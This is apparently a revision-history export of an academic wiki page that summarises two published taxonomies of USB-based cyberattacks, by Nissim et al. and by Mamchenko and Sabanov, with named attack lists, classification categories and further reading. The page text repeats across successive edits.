[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16612</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16612"/>
		<updated>2024-12-02T22:44:38Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Categorization based on Attack Characteristics */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16611</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16611"/>
		<updated>2024-12-02T22:43:02Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Categorization based on Attack Characteristics */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on their collection shown in the picture, they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16610</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16610"/>
		<updated>2024-12-02T22:41:59Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Categorization based on the hardware required */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
